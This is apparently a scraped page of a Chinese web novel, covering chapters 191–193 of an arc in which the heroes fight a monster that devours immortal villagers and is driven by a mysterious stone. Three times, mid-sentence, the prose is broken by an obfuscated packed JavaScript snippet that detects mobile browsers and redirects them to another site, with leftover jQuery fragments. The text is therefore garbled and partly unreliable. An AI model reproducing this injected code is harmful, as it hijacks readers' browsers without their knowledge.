只是几个呼吸，手臂就在地上疯狂踩踏，三两下他们就失去声息，化为尘土。 “嘻嘻！” 怪物口中发出奇异的怪笑，数十只手臂在地上踩了一圈，兴奋地转过身。它的躯体又膨胀了几分，但脑袋却还是小小的，比例看上去极其不协调。 钟声再次响起，脚下的地面都不断震动。 “得去救他们！”长发女人大喊一声，剩下的几人应声而动，就要往塔底冲去，可就在这时，一道尖锐的破空声从他们身后传来，明亮的光点带着长长的拖尾，如同坠落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151259|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恒星越过众人头顶，精准地落在了怪物身下。 漫长的两秒寂静，然后轰然炸开！ 强烈的冲击波将所有人掀飞，就连最远的傅遥都在地上滚了好几圈，才堪堪稳住下盘，遮着脸吐出嘴里的尘土。 “咳！斯塔集团到底在这丢了些什么啊！” 她忍不住破口大骂，哪怕现在拥有强大杀伤力武器对己方是有利的，但她还是忍不住想骂人。 这种东西也是可以乱丢的吗！而且那份遗失清单里根本没有提到重型武器，隐瞒不报，罪加一等！ “它……怎么样了？” 炸弹激起的烟尘远比之前要更加厚重，就像被沙尘暴肆虐一样，入眼全部都是昏黄的尘埃，耳鸣声也在脑内不停盘旋。 简初只能看见傅遥面色焦急，嘴一张一合，不知道在说什么。 烟尘中有什么窜出来了。 “……简初！”傅遥瞳孔骤然紧缩，“躲开！！！” 她的喊声高昂到快要撕破声带，听上去带着浓重的血腥气，简初感觉后脑一阵凉意，意识在身体之前做出了反应。 触手们拔地而起，试图阻止怪物的攻势，但那些手臂的强度已经不可同日而语，它们灵活的五指扒开了触手，从中间丝滑地穿了过去，甚至借着触手们的存在反向一蹬，眨眼就飞到了简初眼前。 这个距离，她已经能看见那只手上遍布的黑色纹路。 短匕硬生生架住了那只手，那更多的手臂紧随其后，从烟尘中探了出来，几乎呈环形封锁了她所有的退路。 只能用闪现后撤。 “砰！” 电光火石之间，怪物重重撞击到地面，手指在地上兴奋地揉捏拍打，似乎要将整个人碾到粉碎。 风声从简初耳边掠过，有一道力量从背后扣住她的腰，两边的视野猛然向前倒退而去，就连地面也离她越来越远。 从建筑的顶端可以清晰看到那怪物在烟尘中的动作，而傅遥正仰着头看过来，和简初的视线直直对上。 不是她救了自己，那会是…… 简初猛然扭头，一张无比熟悉的脸映入眼帘。 脸上的面罩已经完全松垮，顺着他无力跪下身的动作掉在地上，往常黑亮的眼睛此刻变得灰蒙蒙的。 “你没事吧！”简初一个滑跪，赶紧撑住了他的肩膀，才避免这人一头倒下摔破相。 可这一下，简初才惊觉他的体温低得可怕，脸上完全失去了血色，甚至透出一点点青灰。 异能明显透支了，但又不仅仅是这样…… “你不会是……” 精神力紊乱综合征，简初第一时间想到了它。 傅燃一把扣住她的手腕，艰难地摇了摇头：“不是。” 每个见到他发病的人都会联想到这个病，可事实是他的精神核心非常健康，就连因思禾都说不出究竟是什么问题。 理智开始被逐渐侵吞，眼前只剩下一个模糊的黑色轮廓。 简初眉头紧蹙，垂眼看着傅燃仰起头，双眼无神露出一个惨淡又可怜的笑。 “求你……帮我……” 他攥着简初的手腕，把她的手放到自己脸上，甚至阖上眼蹭了两下。 “帮帮我。” 191. 镜中花（12） “可是……” 简初还在犹豫，触手们已经慢悠悠蹭了过去，看上去对于“钻到别人脑子里”这件事相当期待。 “我还能打……你帮帮我……”傅燃的声音哑得不行，他的眼睛透着和平日里截然不同的水光，好像是眼泪。 这可真是…… 简初咬咬牙，双手捧起他的脸：“会有点疼，你忍忍。” 小触手得到了允许，在空中扭了扭，“哧溜”一声顺着她的指尖钻了进去。 耳边的吵闹声迅速远去，“眼前”只剩下满目疮痍。 傅燃的精神空间已经被糟蹋得不像样子，中央的大圆球没有任何问题，仍然安静悬浮在空中缓缓旋转，但只要转开眼神，就能看到空间边界已经斑驳到可怖，仿佛是掉落了大块大块的墙皮，露出后方黑沉沉的虚无。 没听说过精神空间还能被拆迁的。 简初嗦了口冷气，不免有些束手无策。 “怎么回事，你以前出现过这种情况吗？”她慎重开口，却没有得到任何回答，傅燃已经冷汗涔涔，紧闭的双眼不停颤动，连睫毛都被濡湿，似乎在忍受极大的苦楚。 可她没见过这种案例啊，该怎么办才好？！ “唉，你别哭啊……”简初已经没脾气了，下意识轻柔擦掉对方脸上的泪水，“我想想办法还不行吗？” 小触手们在精神空间绕来绕去，捡起一块掉落的“墙皮”试着往对应的缺口贴去，可不过两三秒，那碎片又“啪嗒”一下脱落下来，惹得傅燃脸色又白了几分。 能缝回去吗？ 可这样一来，她的精神力会短暂残留在傅燃的精神空间中，而这里需要打补丁的地方太多，恐怕一个月之内他都会感觉到不适。 毕竟没人喜欢自己的脑子里被别人留下标记。 “可能会不舒服，没关系吗？”简初垂眼盯着傅燃的脸，对方依旧没有回答，却以很小的幅度点点了点头。 甚至无法分辨他是真的同意了，还是因为痛苦的晕眩而摇晃。 “就当你同意了。”简初清清嗓子，精神空间内的小触手们接到最新的指令，纷纷捏起金色的针线，迅速进入默契的配合。 这边一条触手举起“墙皮”贴好，另一条触手沿着边缘细细密密缝回去，不过两三秒就形成一个镶着金边的补丁。 呃，也不算很丑吧。 简初有些心虚。 随着补丁越打越多，她明显感受到手下的肌肤开始回暖，傅燃脸上也出现了一点血色。 与此同时，简初也感受到自己的大脑里好像多了什么。 她突然想起了玩具商。 他给幽灵钉下的标记，跟她现在的所作所为，从本质来说似乎并没有什么区别。 简初垂眼看着傅燃似乎一无所觉的脸，突然明白为什么权力会让人沉迷，当某个人的命运被你手中，真的会产生一种莫名的掌控欲…… 等等，这想法是不是有点不对？ 她赶紧摇摇头，继续进行紧锣密鼓的“缝合工作”。 …… 此时，下方的怪物在原地踩了半天，才发现手下空空荡荡，什么都没有。 傅遥清楚地看见了简初被捞走的全过程，但她心中的忧虑却并没有减少，只是换了个担心的对象。 这个地方会急剧消耗异能，傅燃本来就不能过量使用能力，现在更是……这用法简直是不要命。 “可千万别出事啊……” 也许是说出来能让她安心，傅遥轻声絮叨了两遍，才深吸一口气，看向那只已经回过神来的怪物。 那枚炮弹没能直接杀掉它，却将躯体最外层粘附着的几个人烧成了飞灰。 钟声变得有些沉闷，甚至偶尔会断断续续，但仍然锲而不舍地响起。 “别让它重新把那几个人吞并。”长发女人小声叮嘱身边的同伴，眼神紧紧锁定着那只怪物。 “你还能行吗？”林愿急促喘了口气，伸手拍拍托着炮筒的女孩，尽管不知道对方叫什么名字，但貌似是个蛮可靠的人。 滚烫的炮筒正架在对方肩上，灰色的长袍已经被烧焦，露出被银色金属覆盖的肩背，而女孩的侧脸已经被炙烤到发红，甚至起了一个小小的燎泡。 “可以。”木琅头也不回，用力掂了掂炮筒，“再来一次吗？” 林愿装填了最后一枚炮弹：“需要冷却，你先休息一会吧。” 木琅没回应，只是固执地扛着炮筒，紧紧盯着烟尘中乱窜的怪物。 她们只有两枚弹药，现在看来大概率打不死那东西，只能将作用最大化。 见傅遥看过来，林愿立马举起手，竖着指头表示还有一次机会，傅遥见状立刻点头，转身冲了出去，试图将怪物引诱到合适的位置。 倒塌的塔内传来模糊的哀嚎，他们重复着之前那个人说的话，却没有一个人顺利从塔里跑出来。 傅遥狠狠皱起眉头：“怎么回事？” 可别再出现什么意外了。 “……是他们俩，把人拦下了。”长发女人的嗓音压得很低沉，努力压抑着心中的沉痛。 刚刚死去的同伴，在塔里拦下了所有陷入癫狂的同胞。 “我们还有一颗炮弹。”傅遥眉头压得很低，“不要让他们的努力白费。” 寥寥几句，意思已经十分明晰，几人四散开来，从不同的方向发起攻击。 那怪物接连遭受挫折，已经有些沉不住气，不再发出兴奋的叫声。它沉默着，不停撞击倒了一半的黑塔，试图拱开所有挡住它前行的岩板，重新夺回那些“养分”。 它的手臂此刻肉眼可见地枯萎下去，恢复了那副皮包骨的模样，冲撞的频率越来越快，甚至已经不在意旁边这些“小苍蝇”的骚扰。 现在正是削弱它的好机会。 这几个人看上去都很瘦弱，但战斗力却完全超出想象，傅遥瞥了一眼他们身上的银甲，还是没搞清楚这是个什么东西。 很像是外置骨骼装甲，但看起来过于轻薄，可就连简初那种身体素质，用上它战斗力都直追自己。 不提战斗经验，她自己可是几十年如一日，从来没有松懈过体术练习，整个特展中心能和她扳手腕的屈指可数。 傅遥抛开脑中的杂念，一刀削开怪物胸前粗壮的血管，它身上的人体都已经被完全覆盖，只能勉强看出人的形状。 余光瞥见远处的炮筒口已经对准这里，傅遥立刻旋身，在怪物身上借力一蹬，翻滚两下落在几米开外的位置。 “离远一点！” 眼见众人散开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195879|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，林愿深吸一口气，侧头眯起眼，紧紧盯着那只“巨型蜘蛛”。 “二。” 木琅托着炮筒的手又紧了紧。 “一。” 发射键被按下，最后一枚弹药飞射而出，承载着众人的希望，在怪物的头顶轰然炸开！ 那半截塔身再也支撑不住，几乎化为齑粉簌簌落下，烟尘散去后露出一片狼藉，以及其中毫发无损的巨石。 钟声稀稀拉拉地响着，而那只怪物却不见了踪迹。 “去哪儿了？”傅遥头皮一阵发麻，她没有天真到以为这一下就弄死了它，但突然的消失却让人心慌不已。 “傅队！”远处传来林愿几近歇斯底里的喊声，“它在上面！！！” 傅遥悚然，后背过电一般颤栗，她猛然抬头，眼底倒映出那巨大的身影。 它正在攀爬现在最高的那栋建筑，眨眼就来到最顶端，面向着……简初和傅燃所在的位置。 那枚石片自始至终都没有遗忘简初，就是这个有着熟悉气味的人类，一次又一次破坏了它的计划，消耗了它的力量，而现在，正是报复的最好时机。 它的思考能力并不强，但对威胁却相当敏感，就像是自然界的动物对天敌那样，但它的解决方案不是躲避，而是永绝后患。 “嘻嘻！” 诡异的笑声丝毫没有加以掩饰，简初豁然睁开眼，就看见那只怪物攀在隔壁的尖顶上，数十条手臂猛地一推，在两人头顶投下巨大的阴影。 简初感觉自己的心跳都快停止了。 臭烘烘的气味扑面而来，双方的距离已经近到能看见怪物皮肤上的斑驳纹路。 她脑中飞快闪过现在能派上用场的几个异能，但又担心杀伤力不够，抵挡不了怪物，又或是攻击范围太大会威胁到自身的安全。 怎么办？ 指尖已经有火苗绽开，而小触手正不慌不忙打完最后一块补丁，紧接着缠绕成一张细密的网，直接将傅燃的精神核心紧紧捆住。 简初感受到一阵颤栗，下一秒，一股全新的力量顺着小触手而来，让她难以置信地瞳孔骤缩。 这是……傅燃的异能？ 眼前的一切都变成慢放，怪物已经近在眼前，黑色的尖利指甲几乎要触碰到她的眼球。 但……到此为止。 “你的力量，借我用一下。” 简初眼底闪过一丝猩红的光，傅燃的异能瞬间被激活，经过简初身体的瞬间，抽干了几乎所有力量。 她一手仍然摁在傅燃的脑袋上，而另一手高举在头顶，悬停在高高跃起的怪物面前。 不到一公分的距离，但它却无法再进一步，仿佛周围的空气变成了粘稠的液体，将它牢牢囚住。 “吼——” 怪物发出一声刺耳的尖啸，手指在空中抽搐着，试图挣脱这摸不着看不见的束缚。 “滚！” 简初狠狠扬起手，怪物瞬间顺着她手臂的方向侧飞而出，声势浩大地撞碎了好几栋建筑，在地面上拖出一道长长的深坑。 “呼——呼——” 尖锐的耳鸣声在脑中盘旋，简初眼前一黑，半跪在地上用力喘息。 温热腥甜的液体从鼻腔涌出，她随手一擦，又赶紧撑住地面，才没有倒下。 192. 镜中花（13） 傅燃嗅到了血腥味。 有一只手托着他的后脑，急促的喘息声近在咫尺。他的视线逐渐清晰，抬起头却有一滴血正好从眼前坠落，在地上砸出一朵红色的花。 他仰起头，看见鲜血顺着简初的指缝汩汩流下。 “你……” 傅燃并不知道方才发生了什么，而简初这一脸惨相，让他第一时间就想到对方是为了帮住自己，才会受到如此的反噬。 他从来没有感觉这么好过，尽管一直有陌生的精神力横亘在其中，但……这感觉并不讨厌。 就好像他天生就应该是这样，只是现在才找回了缺失的那部分。 鼻血汹涌而出，简初狼狈地垂下头捏紧鼻子，手臂滑落却被傅燃眼疾手快地架在肩上，才让人没有直接跪趴下去。 简初只觉得浑身都在打颤，耳边什么声音都听不见，只有一道急促沉重的心跳声，一下下砸在鼓膜上。 怪物倒飞出去的画面让傅遥倒吸一口凉气，她知道这是谁的异能，但就是因为知道才会格外紧张，满脑子都在“他怎么弄还能用异能”和“他怎么还敢用异能”之间反复横跳。 她紧紧屏住呼吸，顺着附近的建筑外墙左右蹬了几次，才爬上简初他们所在的楼顶，但看到的画面却完全出乎意料。 为什么傅燃看上去一点事都没有？ 为什么简初看上去要挂了？！！！ 没人会想到是简初“临时借用”了傅燃的异能，这种事情从联邦建成以来就从未出现过，但刚刚所有人都看见那只怪物停止，再到飞出去的画面。 除非……简初为傅燃承担了使用异能的代价。 难道她的异能并不只是【快速恢复】那么简单？ 傅遥脸色阴晴不定，而傅燃仍然沉浸在自己把人“害”成这样的自责中，从某种方面来说，这姑侄俩的脑回路也算是相像。 “哗啦啦——” 远处，无数石块从高处掉落，又激起新的一圈烟尘，傅遥喉头动了动，转头就看见那道黑色的巨影从中爬起来，晃晃身子，再次探出它的手臂。 钟声已经完全听不见了，倒塌的石块碎片中只剩那块巨石依旧矗立着，死去的人仍然不断从中复活，张大嘴发出尖锐的嚎叫，被那几个灰袍人想办法用大石块压住。 只能这样暂时制止他们乱跑，现在只要露脸，就会立刻被那只怪物抓回去。 “还没死？”傅遥倒吸一口凉气。 “咚咚——咚咚——” 简初耳边的心跳声越来越响亮，几乎快要和她自己的心跳声共振，刺骨的寒意从脊背爬升，让她全身都变得冰凉。 “你还好吗？”傅燃声音里充满歉意，他紧紧抓着简初搭在他脖子上的手，失去温度的指尖让人十分心慌。 傅遥拧着眉转过身，和他一起把人扶起来：“你先带她下去，在这目标太明显了，那怪物还会来的。” 它明显对简初有着别样的仇恨，但凡有机会都要先戳她两下，现在人已经这么虚弱，绝对遭不住再一次的攻击。 “我……我没事。”简初的眩晕终于缓解，鼻血也止住了，不过现在没有人会相信她的话。 眼见为实，比起她无足轻重的话语，染红整个下巴和胸前衣襟的鲜血显然更有说服力。 但简初确实感受到力量在恢复。 在这个地方，异能的消耗会比平时更多，再加上她“盗用”了别人的能力，这一下几乎抽空了全部的力量，可现在，她的精神空间正在以可怕的速度重新充盈，完全脱离了教科书中描述的正常范围。 不过在自己身上，好像多么奇怪都能理解。 耳边仍然能听见“咚咚”的心跳声，她微微仰起头，寻找着声音的来源，就看见那只怪物从烟尘中走出来，正在缓缓靠近……它的“养分”。 接连遭受本该致命的打击，它的躯体已经不如一开始那般肥硕臃肿，整个消瘦下去不说，被撑开的皮肤和有些萎缩的血管都只能挂在身上，随着它的每一步行走晃动着。 简初感受到它的眼神从自己身上掠过，转而垂下脑袋，紧紧盯着下方那群聚集在一起的人们。 她毫不怀疑，如果这家伙重新吸收养分，一定会第一个来杀自己。 [去看。] “什么？”简初充满了疑惑，大脑里的那道声音十分熟悉，是系统。 [你得看见……的世界。] 系统的声音好像被什么力量屏蔽了，中间的词语模模糊糊，之后也完全没了动静。 简初茫然地眨眼。 要她看见……什么样的世界？ …… “母亲......”木琅将腰间挎着的数把武器分发给众人，“它要来了。” 长发女人接过她递来的激光刀，面色犹豫：“阿迎，你怨我么？” “什么？”木琅愣了愣。 “你怨我吗？”女人再次重复，“怨我没有将一切早些告诉你。” 怪物一步步靠近，震得脚下的石块不停跳动着，但她们却恍若未闻，似乎只是在进行一场再普通不过的交谈。 “没关系的，母亲。”女孩低声开口，“你当初这么决定的时候，应该就知道，我会理解你的。” “不管是作为女儿还是信徒，我都会理解你的，祭司大人。” 这个称呼越过漫长的时间，再一次响在苑秀的耳边，让她想起自己作为祭司的最后一天。 那一天，她失去了神明的垂爱，只能满怀迷茫，看着木石得到新的神谕。 明明她什么都没做错。 尽管这样的事情前所未有，但善良的族人也并没有因此诋毁或是排挤她，苑秀重新成为最普通的一员，融入了普通的生活中。 过往的回忆错综复杂，她现在甚至已经很难分清，每一段回忆具体是属于哪一个自己，哪怕她仅仅复活过两次。 她没能说出口的，无法面对好好面对阿迎的原因，更多在于她们彼此都不是原来的那个人了，最开始的那对母女，早就消失不见了。 现在相对的两人，来自完全不同的遥远世界。 怪物的脚步声越来越近，人们悲凉的喊声变得嘶哑，把这里变为他们从未见识过的地狱。 不，这里远比地狱要可怕。 每一次死去又复活，他们就会记起更多曾经被遗忘的往事，曾经的幸福化为泡影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15195880|125168||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，让此刻经历的一切变得更加痛苦。 怪物丝毫不顾及落在身上的攻击，哪怕黝黑的血液不断从它断掉的手臂、绽开的躯体中流淌出来，它都恍若无感，只是尖叫着，不断用力踩踏脚下的石板，仿佛要将下面的人碾压成肉泥。 “不要！我要回家！！！” 灵活的手指握住地上的石板高高举起，露出藏在下方的惊恐的眼，他们想要逃跑，但已经失去了爬起来的力量，只能无助地发出尖叫。 “呃！”苑秀咬紧牙关，一刀劈在怪物脸上，“滋滋”的烤肉声响起，露出里面干枯的皮肉。 她甚至还能从这张面目全非的脸上看见木石的神态，那个老人平时不会露出什么表情，他们指尖唯一的矛盾，就在于要不要接受“不死的赐福”。 如果一开始拒绝，现在就不会这么痛苦。 尽管失去了很多“养分”，但怪物的恢复速度和力道仍然超然，数十条枯瘦的手臂在空中乱舞，直接一把拽起苑秀的长发，手腕一转将其甩了出去。 “复活……复活……”它口中念念有词，疯狂地举起地上的人往自己身上塞。 “赶快离开那里！”苑秀趴在地上大喊，却对上一张写满解脱的脸。 他坐在地上，怀里搂着一个女人，她的两只手不断向虚空中抓着什么，却丝毫没有分出一点眼神给身边的人。 “对不起大人……”他抽泣着，“我坚持不下去了……” “我们会在其他世界继续相爱的。”他将脸贴在她的额头，眼泪也滴在她的脸上，“每一个世界都会的。” 苑秀张了张嘴，什么都说不出口。其他几人想要把他拖走，但那只怪物的阴影已经笼罩在头顶。 它嘻嘻笑着，丝毫不加分辨，把每一个能摸到的人都摁在身上，那些干瘪的血管深深戳进他们的身体里，又重新变得丰盈起来。 “不要……” 苑秀的脸色瞬间苍老下去，只能看着那只怪物不顾旁人的攻击，把那两人裹进了身体中。 刚刚把简初二人安置好，傅遥匆匆而来，就看到所有人几近绝望的表情，可她还没来得及问什么，一声刺耳的尖啸从席卷了她的耳膜。 那只怪物在原地摇晃着身体，无数手臂在空中扑腾，看上去十分痛苦。 “啊！啊！！啊！！！” 它的手臂在身上四处摸索，似乎想把什么东西撕扯下来，但它为了“保护”这些“养料”，已经用厚实粗壮的血管把他们层层叠叠罩了起来，根本无从下手。 “它这是怎么了？” 傅遥话音刚落，就看见怪物的手摸到那年轻人所在的四方，尖利的指甲剖开血管，爆出鲜红的血液，硬生生把他和他怀里的人一起扯了下来。 他们已经被吸得有点干巴，身上被自己的鲜血染透，但仍然活着。 直到他们被远远扔开，怪物才得以喘息。它的身躯和手臂又像吹了气一样鼓起来，但所有人都看出来，它身上明显出现了一块凹陷，就像被什么咬掉了皮肉，就连上面的血管也比其他地方要干瘪许多。 苑秀突然想起那个年轻女孩提出的问题。 “为什么它不对你们动手？” 193. 镜中花（14） 不仅如此，她甚至还彻底杀死了木羽。 “他们都没事吗？”苑秀看向傅遥。 傅遥不清楚其中的弯弯道道，以为对方只是出于合作的角度，关心一下己方的战斗力还剩下多少：“受了点伤，不过还活着。” 苑秀没有得到自己最想要的答案，但所有人都看见刚刚的场面，也明白使用那样的能力是必定要付出代价的。 生活在这里的人们没有异能的概念，他们的战斗力都是来自于身上神秘的图纹，以及从中延展而出的银白色金属盔甲，在他们眼中这些都是“神明的赐予”。 但现在，他们最想要的只有永恒的死亡。 他们把被血浸透、失去意识的两人拖到安全的距离，才有人低声开口。 “他可以的话，那我们呢？” “我们被吞噬的话，也能让那只怪物感到痛苦吗？” 连续的两个问题让傅遥无比惊讶，在她的观念中，追求不死的人会更加畏惧死亡，绝对不会问出这样的问题。 难道他们把“生命”当做可以随意消耗的东西吗？ “我想试试。”三人一致将目光投向苑秀，似乎在征询她的意见。 “不，先等一等。”傅遥赶紧抢先阻止，“这种事不确定性太大了，如果它吞掉你们之后反而变得更加强大那该怎么办？” 她很怕这群人头脑一热，留下一个巨大的烂摊子。 另一边，怪物终于喘着气，从疼痛中脱离出来，它的眼中透出阴冷和谨慎，紧紧盯着那几个围在一起的人。 复活……复活……等待…… 它的脑中执着盘旋着相同的字眼，下一秒伸出奇长的手臂，把地面踩得隆隆作响，它的每个肘关节绷直，把中间的躯体高高举起，似乎生怕有人接近它。 但这反而证明了，他们的猜想或许是对的。 …… “不行，傅队长不让你们出去！” 林愿执着地挡在建筑的门口，冷着脸拒绝对面两人的“无理要求”。 准确说是…… “我一个人去就行，你待在着。” 吃一堑长一智，傅燃已经重新开启量子遮罩，并且带上了面罩，主打一个双层防护，但不管变成什么模样，他都是一副平静冷淡的表情。 简初：…… 最后被针对的只有我，是吗？ 林愿用力摇头：“你们都不行，傅队长说了，你们俩都不许出去添乱！” “我已经没事了。”简初强调。 她衣襟上变成暗色的鲜血刺痛了傅燃的眼睛，每每看到，他都会想起这是为了救自己而付出的代价。 简初当然看出来他在想什么，但又没办法解释其中的缘由。 “那我们都去，成不成？”她叹了口气，决定把所有人拉下水，此言一出，明显林愿也有些意动。 “可是……” 简初继续循循善诱：“那怪物本来就很难打，如果少了我们，不是更有可能被逐个击破吗，而且我们都有数的，绝对不会逞强，是吧……咳，灰烬。” 这个称呼让傅燃有些尴尬，稀里糊涂就点了点头。 于是一分钟后，陷入抓狂的变成了傅遥。 “你们怎么都来了？！”她像赶小鸡一样，把三个不老实的家伙往后面驱赶，“这里太危险了！” 简初灵活地从她胳膊下钻过去，丝毫没有刚才那副病入膏肓的模样。 苑秀注意到了这边的情况，一眼就看到她最关心的人，对方胸口被血染透，看起来方才受了不轻的伤，但除了脸色有些苍白，精神状态竟然是这群人里最好的。 “你杀了木……” 她话刚说一半，那只怪物迅速调转方向，完全将人群冲散。 简初背后爬满鸡皮疙瘩，眼神微微瞥向傅遥几人，发现他们好像没听清那句话才微微松了口气。 都这种时候，那些人怎么还纠结这个问题！ 她仰起头，眯眼看向把自己举到空中的怪物，眼神不经意停顿了。 “等等！上面的屏障之前有这么矮吗！”简初的喊声引起了所有人的注意，他们在躲避怪物的同时纷纷抬头，果不其然看见之前那栋最高的建筑已经看不见顶部了。 屏障真的在下降！ 那怪物不断跳跃着，试图按死这群“小跳蚤”，但简初心中的疑问却随之越来越大。 虽然怪物无法吞噬那几个人，但……他们也是不死的，就算杀掉，还会源源不断地复活，永远没有尽头。 简初原以为“不死”的力量来源于那块诡异的石片，但现在看来，即便它操纵着怪物不停战斗，却没有流露出一点可以把“不死之力”收回的征兆。 它的杀意不是作伪，那就说明它在拖延时间。 简初不期然想到此前的所有经历，难道说，它在等待……离开这里的机会？！ 一旦它吸收到足够的养分，或许就能像之前一样破开时空，逃窜到没有人能找到的地方。 “吼！” “养分！养分！” 怪物的吼叫声变得越发焦躁，他的手臂在空中疯狂抖动，如同一只漆黑可怖的孔雀摇晃着尾羽。 “上！” 傅遥一声令下，身后的简初和林愿同时扣动板机，明亮的激光一闪而过，怪物肋下的两条手臂迅速在胸前交错，激光擦过留下焦黑的痕迹，空气中漂浮着淡淡的臭味。 而怪物的另一边，几个灰袍人似乎达成某种一致，他们举起手中的武器，带着一往无前的气势冲了出去。身上的灰色长袍已经破烂不堪，露出覆盖着身躯的银白色轻甲，上面甚至被怪物的血侵蚀出了点点黑斑。 苑秀猛地甩腕，刀刃旋转而出，砍断了怪物伸出的手指，却被从它脊背上探出的手准确抓住刀柄，瞬间反制而来。 她高高跃起，躲开凌空而来的刀刃，余光却瞥见有两个人影正顺着陡峭的手臂往上跑。 “尽量别用异能。”傅遥大喊，她躲开怪物试图抓住脚腕的手，一个大跳踩着它的肘关节悬停在空中，旋即猛地刺下手中的长刀。 “噗嗤”一声，黑血爆出，怪物一时吃痛，数条手臂从四面袭来，试图抓住罪魁祸首，并将她四成碎片。傅遥反手握住一只枯瘦的手臂，借力在空中荡了一圈，达到最高点时松开手，如同一只高飞的鹰，安全落在远处的空地上。 此时，怪物的注意力都被她引走，没有发现另一人已经悄无声息攀到它的脊背。 傅燃掏出怀中的大功率□□，抵在怪物的后心口连开三枪，接着毫不恋战，反身蹬在手臂与脊背的连接处，在空中翻滚两圈落在地面，迅速跑远。 这三枪贯穿了怪物整个心脏，简初甚至从其中看见了一瞬间的绿光。 是那块石片？它躲在心脏的位置？ 怪物发出尖锐的哀嚎，男女老少不同的声线混杂在一起，就像被它吞噬的人们一起发出了哀嚎，让人耳膜震痛不已。 所有手臂猛然收缩，就像是因为疼痛，而本能缩成一团。 简初下意识往前两步，想要看得更清楚，却被安全回来的两人一起拦下。 “不要过去！”傅燃语气相当严肃，“一切交给我们就好。” “不，我只是……”简出下意识想要解释，却又赶紧闭上了嘴。她没法跟对方说清楚那块石片的事情，而且他的表情看上去，好像说什么都没发打动。 可这个角度她什么都看不清！ ……等等！还有那个能力！ 现在这个地方并不会对精神力造成太大影响，这样的话，那个因为精神力突破而出现的【物质扫描】，是不是也不会受到影响？ 简初下定决心，猛然抬头，在无人看见的角度，她的眼底闪过一丝幽蓝的暗芒。 视野中的一切迅速解构，可简初万万没想到，周围所有的建筑全部都是空白。 这反常到了极点，就算建筑群们是由一整块石头构成，那石头和空气之间也应当是有区分的，而不是像现在这样，什么都看不见。 难道这些建筑并不存在，可肉眼明明能看到，也能触摸到！ 还不仅仅是建筑，那几个清醒的灰袍人也和傅遥他们不一样，就像是模仿着真人捏造出的躯体，不管如何相似，都能看出其中的违和。 那……那只怪物呢？ 简初赶紧锁定目标，却看到怪物的周身萦绕着一圈浅淡的绿光，而最引人主意的是一团在它躯体内四处游走的绿色光球。 应该就是那块石片了。 一切异常的源头就是它没错了。简初十分笃定。 就这么一会儿，怪物身上的枪伤已经开始愈合，手臂也在同一时间变得干瘪，明显是“养分”被传输到了伤口附近，帮助它修复伤口。 “它是不是不能复活？”傅遥突然轻声开口。 简初蹙眉：“什么意思？” “如果可以复活，它没必要去费劲修复致命伤啊。”傅遥越想越觉得有道理。 傅燃点点头，补充道：“还有可能是复活需要消耗更多，它也许承担不起。” 他们俩说的都很有道理，但简初总感觉自己遗漏了什么，可当下并没有太多时间给她思考，这边是棘手的怪物，头顶是逐渐下落的屏障，每个都在催促他们赶紧解决眼前这一切。 仅仅两三分钟，那块纯白的穹顶已经明显又下落了一段距离，甚至现在已经可以肉眼看出它正在不断接近。 没人知道等它完全落下时会发生什么，这就像一个倒计时，让所有人充满了紧迫感。 “继续，再来一次。” 确定他们的战术有效，傅遥当即决定就这样继续削弱怪物的战斗力，而不仅是他们，另一边的几人也在竭力配合。 “大人，我们……”有人恳求道，“他们还会再动手，我们应该抓住机会。” 趁怪物最虚弱的时候，给它致命一击。 面前几人用恳切的眼神看着自己，纵然苑秀心中有着太多的不确定，也没有拒绝的理由。 在黑暗中生活了这么久，终于见到了一丝曙光，就算是虚假的，他们也会如同抓住了最后一根稻草，把所有寄托在上面。 参差的短发扫在她耳廓，让心绪也同样起伏不定。 走吧，总会有这一刻的，不论是否会成功，总要去做的。 另一边，简初有些紧张地舔舔嘴唇，一次又一次握紧腰上别着的枪和匕首，似乎生怕它们掉下来。林愿正扛着一把轻狙，专心致志跟随着傅遥二人的身影瞄准着那只怪物，以便在关键时刻提供火力，丝毫没有注意到简初的动向。 解决一切的方法就摆在简初面前，让她胸腔的心跳几乎按捺不住。 如果等那块石片吸收了足够的力量，不管是要杀她，还是要逃走，都不是简初乐意见到的，哪怕所有人都拒绝她靠近战场，也丝毫不能动摇她的决心。 [捏碎它！捏碎它！] 心中的声音越来越响，“咔哒”一声，银色的轻甲紧紧贴合上她的躯体。 林愿只感觉余光中有什么一闪而过，下一秒就在瞄准镜中看见那道紧追而去的身影，她心中暗道不妙，但傅遥二人已经顺着建筑爬到高处，正欲往下跳。 不能干扰他们的行动，林愿咬紧牙关，把到嘴边的惊呼硬生生咽了下去。 可就在这时，那只怪物突然舒展身体，原本紧紧缩着的手臂猛地张开，朝着从天而降的二人直直捅了过去！ 